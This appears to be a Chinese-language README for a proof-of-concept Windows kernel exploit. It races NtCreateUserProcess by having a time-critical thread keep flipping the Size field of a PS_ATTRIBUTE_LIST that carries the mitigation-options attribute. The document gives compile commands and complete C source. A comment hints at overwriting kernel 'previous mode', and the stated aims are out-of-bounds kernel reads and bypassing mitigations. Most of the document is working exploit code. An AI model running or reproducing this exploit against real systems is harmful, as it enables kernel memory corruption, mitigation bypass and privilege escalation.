Windows内核竞争条件利用工具
本项目展示了一个在Windows操作系统环境下,利用内核API NtCreateUserProcess 和 NtCreateThreadEx 的竞争条件漏洞的演示程序。通过在多线程环境下动态篡改进程或线程创建时的属性列表,绕过或修改安全缓解措施,用于研究内核安全性与多线程同步问题。
功能特性
- 内核API直接调用:通过
NtCreateUserProcess和NtCreateThreadEx原生系统调用创建进程和线程 - 动态属性篡改:利用独立线程持续修改
PS_ATTRIBUTE_LIST中的Size字段,制造竞争条件 - 安全缓解选项覆盖:针对
Attribute = 0x2001b(缓解选项)进行内存破坏,改变进程/线程的安全策略 - 高优先级抢占:竞争线程设置为
THREAD_PRIORITY_TIME_CRITICAL,提高数据竞争成功率 - 无限循环攻击:持续尝试创建进程,最大化竞争窗口命中概率
安装指南
系统要求
- Windows 操作系统(支持
NTAPI调用,如 Windows 7 ~ Windows 11) - Visual Studio 或 MinGW 工具链
- 管理员权限(部分内核调用需要)
编译步骤
- 克隆或保存源码文件为
race_condition.c - 使用 Visual Studio 开发者命令提示符或 MinGW 编译:
# Visual Studio cl race_condition.c /Fe:race_condition.exe # MinGW gcc race_condition.c -o race_condition.exe -lntdll
依赖项
Windows.h:Windows API 头文件ntdll.dll:提供NtCreateUserProcess和NtCreateThreadEx系统调用- 无第三方库依赖
使用说明
基础运行
race_condition.exe
程序启动后将:
- 分配并构造一个伪造的
PS_ATTRIBUTE_LIST,指定属性0x2001b(缓解选项)及其数据缓冲区 - 创建一个高优先级线程持续篡改
Size字段(不断在 0 和MAXUINT64之间翻转) - 无限循环调用
NtCreateUserProcess,尝试在属性大小被破坏的瞬间创建进程
典型输出(调试器下)
[+] Attributes list prepared at 0x...
[+] Racing thread started
[+] Attempting to create processes...
[!] NtCreateUserProcess may fail or succeed unpredictably
预期效果
- 由于
Size字段被动态篡改,内核在读取属性列表时可能读取到无效大小,导致:- 进程创建失败(
STATUS_INVALID_PARAMETER等) - 读取越界内存
- 成功创建但缓解选项配置异常(安全绕过)
- 进程创建失败(
- 程序不会正常退出,需手动终止(Ctrl+C)
核心代码
1. 内核属性结构定义
typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute;
SIZE_T Size;
union
{
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
定义 Windows 进程/线程创建时使用的扩展属性结构,用于传递安全缓解选项等高级配置。
2. 竞争线程函数
DWORD smash_func(LPVOID unused)
{
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
while (1) {
*size_ptr ^= MAXUINT64; // constantly flip attrs.Attributes[0].Size
}
return 0;
}
高优先级线程,持续对全局属性列表中的 Size 字段进行异或翻转操作,制造数据竞争。
3. 主控制逻辑
int main(int argc, char** argv)
{
BYTE smash_buf[0x8000];
memset(smash_buf, 'A', sizeof(smash_buf));
memset(smash_buf, 0, 0x18);
smash_buf[0x80] = 0; // overwrite previous mode
// set up the global attributes
attrs = malloc(sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE));
memset(attrs, 0, sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE));
attrs->TotalLength = sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE);
attrs->Attributes[0].Attribute = 0x2001b; // mitigation options
attrs->Attributes[0].Size = 0x18;
attrs->Attributes[0].ValuePtr = smash_buf;
size_ptr = &attrs->Attributes[0].Size;
CreateThread(NULL, 0, smash_func, NULL, 0, NULL);
HANDLE thread_handle = 0;
HANDLE process_handle = 0;
while (1)
{
NtCreateUserProcess(&process_handle, &thread_handle, 0, 0, 0, 0, 0, 0, 0, 0, attrs);
}
return 0;
}
主函数中初始化伪造的属性列表(包含长度 0x18 的安全缓解选项数据),启动竞争线程,然后无限循环调用 NtCreateUserProcess 试图利用竞争条件影响进程创建行为。
6HFtX5dABrKlqXeO5PUv/0vr6tVaCw8GJ2fNqEOWigM=